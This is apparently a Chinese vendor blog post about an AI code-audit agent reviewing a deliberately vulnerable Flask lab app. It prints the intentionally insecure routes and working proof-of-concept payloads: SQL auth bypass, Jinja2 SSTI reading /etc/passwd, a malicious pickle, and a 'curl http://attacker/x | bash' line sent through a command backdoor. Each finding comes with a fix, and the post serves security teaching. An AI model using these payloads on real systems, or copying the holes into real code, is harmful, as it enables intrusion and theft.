20 个漏洞、5 条 RCE:用华为云码道安全审计专家给 Flask 应用做一次深度体检
20 个漏洞、5 条 RCE:用华为云码道安全审计专家给 Flask 应用做一次深度体检
安全审计这件事,过去要么请不到人,要么请到了排不上期。我把一个故意写满漏洞的 Flask 应用丢给华为云码道(CodeArts)的安全审计专家,一次扫描揪出 20 个漏洞、13 个严重、5 条未认证单步 RCE,每个都带 CWE 编号、可执行 PoC 和修复代码。本文是这次真实审计的完整复盘——靶场怎么造、专家怎么调、漏洞怎么读、代码怎么修。
一、为什么用 AI 做安全审计
传统安全审计有三个痛点:人贵、人少、人慢。一个能做 OWASP Top 10 深度审计的安全工程师,市场价摆在那;而代码每迭代一次都要等人排期,往往上线了才补审,黄花菜都凉了。
华为云码道(CodeArts)的安全代码审计专家是个可按需调度的子智能体,它以 OWASP Top 10、CWE、SANS Top 25 为基准,能逐函数做数据流追踪,产出含 CWE 编号、PoC 和修复代码的报告。调用一次的边际成本几乎为零,这让"每次提交前审一遍"从奢望变成默认动作。
下面用真实靶场跑一遍。
二、造一个"漏洞靶场"
为了演示,我先写一个故意留满缺陷的 Flask 应用 app.py(113 行),覆盖注入、RCE、SSRF、反序列化、弱加密等典型类别。核心片段:
DB_PASSWORD = "Admin@123456" # 硬编码凭据
@app.route("/login", methods=["POST"])
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cur.execute(query) # SQL 注入
@app.route("/ping")
def ping():
host = request.args.get("host", "")
result = os.system("ping -c 1 " + host) # 命令注入 → RCE
@app.route("/profile")
def profile():
name = request.args.get("name", "")
template = "<html><body><h1>Welcome " + name + "</h1></body></html>"
return render_template_string(template) # SSTI → RCE
@app.route("/fetch")
def fetch_url():
url = request.args.get("url", "")
return requests.get(url).text # SSRF
@app.route("/import")
def import_data():
raw = request.args.get("data", "")
obj = pickle.loads(raw.encode("latin1")) # 反序列化 → RCE
@app.route("/exec")
def exec_cmd():
return subprocess.getoutput(request.args.get("cmd", "")) # 裸 RCE 后门
app.run(host="0.0.0.0", port=5000, debug=True) # debug 模式
完整代码已放在 vuln-demo/app.py。这是个"靶场",千万别部署到公网——下面你会看到为什么。
三、调用安全审计专家
用 CodeArts 调度安全审计子智能体,指令很简单:
请对 /workspace/vuln-demo/app.py 做深度安全审计:
1. 以 OWASP Top 10 (2021) 和 CWE Top 25 为基准,逐函数审查;
2. 每个漏洞给出:类型、CWE 编号、OWASP 分类、严重等级、
精确位置、原理、可执行 PoC、修复代码;
3. 按严重等级排序,最后给汇总表。
专家拿到后开始逐函数数据流追踪。一次扫描,20 个漏洞全部落地,下面看结果。
四、审计结果全景
| 维度 | 数据 |
|---|---|
| 漏洞总数 | 20 |
| 严重 / 高 / 中 / 低 | 13 / 3 / 3 / 1 |
| 未认证单步 RCE | 5 条 |
| 覆盖 OWASP 分类 | A01/A02/A03/A05/A08/A10 |
OWASP Top 10 命中分布:
| OWASP 分类 | 命中数 |
|---|---|
| A03 Injection | 11 |
| A02 Cryptographic Failures | 4 |
| A05 Security Misconfiguration | 4 |
| A01 Broken Access Control | 3 |
| A08 Software and Data Integrity Failures | 1 |
| A10 SSRF | 1 |
注入类(A03)一家独大,11 个——SQL 注入、命令注入、SSTI、XSS 全在这。下面挑 4 个最有代表性的严重漏洞看细节。
五、典型漏洞深度剖析
漏洞 1:/login SQL 注入(CWE-89,严重)
位置:login:29,字符串拼接 SQL。
PoC——一行 curl 绕过认证:
curl -X POST http://target:5000/login \
-d "username=admin'--" -d "password=anything"
# 返回 "login success"
admin'-- 闭合了 username 的引号并注释掉密码校验,fetchone() 直接返回 admin 记录。认证形同虚设,还能用 UNION SELECT 拖库。
修复——参数化查询 + PBKDF2 + 常量时间比对:
import hmac, hashlib
cur.execute("SELECT password_hash FROM users WHERE username = ?", (username,))
row = cur.fetchone()
stored = row[0] if row else "0"*64
calc = hashlib.pbkdf2_hmac("sha256", password.encode(), b"salt", 100000).hex()
if row and hmac.compare_digest(stored, calc):
return "login success"
漏洞 2:/profile SSTI(CWE-94,严重,单步 RCE)
位置:profile:72,用户输入拼进模板源码字符串再 render_template_string。
PoC——一个 GET 参数拿 shell:
# 探测
curl "http://target:5000/profile?name={{7*7}}"
# 返回 <h1>Welcome 49</h1>
# RCE:读 /etc/passwd
curl --get "http://target:5000/profile" \
--data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}"
{{ }} 被 Jinja2 当表达式求值,通过 __class__.__mro__ 链拿到 os 模块。无需认证、单步 RCE,这是全场最危险的接口之一。
修复——模板与数据分离,{{ name }} 自动转义:
@app.route("/profile")
def profile():
name = request.args.get("name", "")[:50]
template = "<html><body><h1>Welcome {{ name }}</h1></body></html>"
return render_template_string(template, name=name)
漏洞 3:/exec 裸命令执行后门(CWE-78,严重)
位置:exec_cmd:109,subprocess.getoutput(cmd),cmd 是用户传的完整命令。
PoC——连"注入"都不需要:
curl "http://target:5000/exec?cmd=cat%20/etc/passwd"
curl "http://target:5000/exec?cmd=curl%20http://attacker/x%20|%20bash"
这是赤裸裸的远程命令执行后门,零门槛。
修复——直接删除该路由。 若确需远程运维,走 SSH 跳板 + 审计日志,绝不暴露 HTTP RCE。
漏洞 4:/import pickle 反序列化(CWE-502,严重,单步 RCE)
位置:import_data:86,pickle.loads 不可信数据。
PoC——构造恶意 pickle:
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
payload = pickle.dumps(RCE()).decode("latin1")
# 把 payload URL 编码后塞进 ?data= 即可触发
pickle.loads 会执行 __reduce__ 里定义的调用,等价于任意代码执行。
修复——永远不要对不可信数据用 pickle,改 JSON:
obj = json.loads(raw) # JSON 只产出原生类型,无代码执行
此外还有
/ping、/dns命令注入(CWE-78)、/fetchSSRF(CWE-918,可窃取云元数据凭据)、/file路径遍历(CWE-22,可读源码和数据库)、硬编码凭据(CWE-798)、MD5 弱哈希(CWE-327)、debug 模式 RCE(CWE-489)等,共 20 个,每个都附 PoC 与修复代码。
六、漏洞汇总表
| # | 漏洞类型 | CWE | 等级 | 位置 |
|---|---|---|---|---|
| 1 | SQL 注入(认证绕过) | CWE-89 | 严重 | login:29 |
| 2 | SQL 注入 | CWE-89 | 严重 | search:42 |
| 3 | SSTI → RCE | CWE-94 | 严重 | search:45 |
| 4 | 反射型 XSS | CWE-79 | 严重 | search:45 |
| 5 | 命令注入 RCE | CWE-78 | 严重 | ping:51 |
| 6 | 命令注入 RCE | CWE-78 | 严重 | dns:58 |
| 7 | SSTI 单步 RCE | CWE-94 | 严重 | profile:72 |
| 8 | 反射型 XSS | CWE-79 | 严重 | profile:72 |
| 9 | SSRF | CWE-918 | 严重 | fetch_url:79 |
| 10 | pickle 反序列化 RCE | CWE-502 | 严重 | import_data:86 |
| 11 | SQL 注入(INSERT) | CWE-89 | 严重 | register:101 |
| 12 | 裸命令执行后门 | CWE-78 | 严重 | exec_cmd:109 |
| 13 | Debug 模式 RCE | CWE-489 | 严重 | __main__:113 |
| 14 | 硬编码凭据 | CWE-798 | 高 | module:11 |
| 15 | 路径遍历 | CWE-22 | 高 | get_file:65 |
| 16 | 明文密码存储 | CWE-256 | 高 | login:29 |
| 17 | MD5 弱哈希 | CWE-327 | 中 | hash_password:91 |
| 18 | CSRF 缺失 | CWE-352 | 中 | 全局 POST |
| 19 | 异常堆栈泄露 | CWE-209 | 中 | 全局 |
| 20 | 安全响应头缺失 | CWE-693 | 低 | 全局 |
七、修复优先级:先止血,再治病
专家给出的修复顺序很清晰,核心是先封 RCE,再堵注入,后补配置:
- 立即下线——5 条未认证单步 RCE,公网暴露秒级被接管;
- 删除
/exec——后门级缺陷,无业务理由保留; - 关 debug、绑 127.0.0.1、前置 nginx;
- SQL 全量参数化;
- subprocess 全部
shell=False+ 参数列表 + 输入白名单; - 模板与数据分离,禁用
render_template_string拼接用户输入; - 凭据移出源码,接入 KMS / 环境变量;
- 路径遍历加 realpath 校验;
- 密码改 Argon2 / PBKDF2;
- 接入 CSRF、安全响应头、全局异常处理;
- SSRF 加 URL 白名单与内网 IP 校验;
/import改 JSON 或删除。
八、核心结论
这次审计最有冲击力的不是"发现了 20 个漏洞",而是这件事的边际成本:一个指令、一次扫描、一份带 PoC 和修复代码的报告,全程没有排期、没有等待。对比传统流程——提需求、等排期、人工审、出报告、再修——AI 审计把安全左移到了"写完代码的下一秒"。
几个观察:
- 专家不只报"有漏洞",还报"怎么利用、怎么修"。PoC 让你能复现,修复代码让你能直接落地——这是从"审计报告"到"可执行修复方案"的跃迁。
- CWE + OWASP 双标定让结果可对齐、可统计、可进 SAST 流水线,不是模糊的"这里不太安全"。
- 数据流追踪比正则扫描深。比如 SSTI(VULN-003)需要理解"SQL 注入写入的 title 会被 render_template_string 求值"这条跨函数链,规则扫描器很难发现,专家追出来了。
- 人依然不可替代:专家给的是"修复方案","按下回车上线"和"对最终结果负责"还在人手里。读懂每一条修复代码再合入,是底线。
安全审计从"专家稀缺资源"变成"按需调用的能力",这件事正在改变团队的安全水位。不是每个团队都有安全工程师,但每个团队都可以每次提交前调一次 CodeArts 安全审计专家。
本文基于对 vuln-demo/app.py 的真实安全审计撰写,20 个漏洞、PoC 与修复代码均由华为云码道(CodeArts)安全代码审计专家产出。靶场代码仅用于演示,请勿部署到公网。
- 点赞
- 收藏
- 关注作者
评论(0)